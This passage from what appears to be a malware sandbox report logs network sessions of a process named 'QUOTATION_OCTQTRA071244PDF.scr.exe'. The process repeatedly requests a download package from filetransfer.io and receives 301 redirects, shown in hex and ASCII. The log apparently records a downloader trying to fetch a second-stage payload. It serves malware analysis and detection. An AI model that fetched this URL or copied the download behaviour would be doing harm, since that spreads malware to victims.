6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:35.769834995 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3wxLMKuyKRNJh1kyWLJXvm6kS8UPmRB6mumZ6fK5zhRxc%2Bxp%2FWfGiZbfvycfaduTtvb3%2BmpLV5PnXbIzPKaIYzL4Oe3VDalmldaA7j9z1qoszvVf12%2FMd4pSJ3i%2F3yQ4n7s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d31f8a642bf-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:35.773164034 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:35.964334011 CEST	825	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:35 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZA4LIRgUTj149OWloeC6mxXRJrtCQzQQdpSElEzos1kMf71nquEbS8it1BBXWRUq4E9TMSGqlDjnqqZF5swacy0yLDQ0ces6YlFPpuZZXpHNFeBk4ZZA7VtZGejDMqgtsgA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d34da8b42bf-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:35.967510939 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:36.162184000 CEST	863	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tcype%2Fj1OBKY5CEDPrzmYWGiX2h8A6%2FDrR8ddzBv3Lin4S9q50P9%2BWQ1Zpcu87xN9cZQ9dTzqLeZiMn7NL1col9JTSuXE8fRikstMobr5Lf2QV%2FndRqEh2VZ7gNiCxwHOqY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d361b5a42bf-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49845	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:36.722817898 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:37.364545107 CEST	824	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NFdM%2BqL9S9adaXQhIGgSGUGwHVlTBZjKeXPN53bcaPr5QEGuvFqIOMgR8sN5DH5jQvvSmjpb%2FHSC6GesyG0VYiLSeUiQLzvBJNx8qK1RBv9noDiQvhvbyd8uYky9U1e6j88%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d3cf9c97cb1-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 4, 2024 11:23:37.491669893 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49846	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:37.500938892 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:23:38.150572062 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yg%2FCLIgqfGnns82pD09yiscvN02BfP2Ie7%2BiQuXP3clDfNI9sa8LCgOr1u6KxJWvXdFtW0LHJ1nGRSxjV%2BGflu9AG5vqtLmDBuskLN1Br5dT1BxUwdqOZ%2Br8rvQOD1%2BmgHM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d41e86e4368-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49849	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:41.585458040 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:42.240819931 CEST	835	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jbFm%2Bc7xsOsjwJRmCclaTAps5sAGQnqBN5N8IANafyk%2Fn%2F0G3V6m8Hq3q4HaWNVTkKG3bSZQD4iZh%2F8skCcNx9mI8yDusxpUYmWFAc3e5%2FtB4rhWMylHX4isBQM7AkzAXnY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d5b7b870f74-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49851	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:42.248320103 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:23:42.945138931 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EVL%2FnHYyqBoPgmfsqSRS0m%2FQ1fB4Dq7SPUr3DudjLbDyelvT5Bpk89GYG2cSqiTyAh9a3nAwzkjtccqsz26cm7kUDoons%2By7%2BT4hyIF7FkJAGPQ5U9QubkiithAHxaVytSA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d5f9ebe41cf-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49866	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:46.667057991 CEST	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
Oct 4, 2024 11:23:47.341052055 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:47 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7oo74IIZJvmBFKqx%2Bh5v2PKZjNkeFGOsE5HxQh6qZ2E9Iigkdx%2BCMU18VgIumnMK6XyjJP2ovUAk8OHYBQ5N5qFoJntgCr5kfEOm%2Fwu9Kpx0e0bUtHQs0aIdBpXJw%2FC6ays%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d7b49a1de9a-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49890	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:52.064344883 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:52.727561951 CEST	837	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wLN8REdHQz%2Bj5utLPkgjn7P8TYPuGWmlX49BchVfdUflAJ9Pnto%2BWCETcz5uCep569mnMV%2BZHUS%2BxzSC4v16yY7h6wQxf8GvevHQ5sxPfwBP2fLkcy6aCaSPhB%2FgJ825%2BNQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d9d0a00c477-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:52.728194952 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:53.305010080 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qvKu0SoZkBoequ1BPPBVH8RiEy4CdotT8f%2Fn%2Fp4Ei0DtjLCHDgrcCKwJweaKO0rRyV8TnYc70f9sF0ezRxFLWjvUQ5VQI%2BmJ2pM6YdIE1hq%2FOTYmQleOVj8D2AtoUv1KOHU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d9edb58c477-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:53.306519985 CEST	833	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qvKu0SoZkBoequ1BPPBVH8RiEy4CdotT8f%2Fn%2Fp4Ei0DtjLCHDgrcCKwJweaKO0rRyV8TnYc70f9sF0ezRxFLWjvUQ5VQI%2BmJ2pM6YdIE1hq%2FOTYmQleOVj8D2AtoUv1KOHU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41d9edb58c477-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49917	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:23:57.353831053 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:58.022381067 CEST	827	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gzpp1dXhMr2BB7%2BUgtkNbwcTJweNUOaMfZbB6vAZCGde8RTUIEL4ZRuYMiazDrZ8JzdudSKdF0vz0brRgP3XKVIRg26EjbwxXUq6t7AtrDCErIfRXuP3YMLiXtbftLty4tw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41dbe1d56727a-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
Oct 4, 2024 11:23:58.023159981 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:23:58.219691038 CEST	839	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:23:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YpGQ8iAnYGqA5315smGdB%2BNbmVZPbp2rhJnDm2tzzc0GWsZZco5SQ%2BTQUcxbJelfbzii%2BzWnP%2Bb1NWm9Y8Dc%2FyS4%2Bljmie3Rouaztxff4Bzt0XntDAfgDq7l%2FsECC1QWd7I%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41dbfee75727a-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49946	188.114.96.3	80	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Oct 4, 2024 11:24:01.746419907 CEST	71	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io
Oct 4, 2024 11:24:02.406512976 CEST	826	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Oct 2024 09:24:02 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://filetransfer.io/data-package/eZFzMENr/download CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2MWiXbCjSZUsz8xxNwEUIePotiT3yu5w08ITHm6ahki5Tyt15wfUgqHvTm1FTZi%2FOs0pDypyHmPK5KpIEdqLon%2Fk3s%2BVRBvk8h3uQ6yxs04rdSJfQ2U2GSTbx5mwFVfGgMw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41dd96b336a55-EWR Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 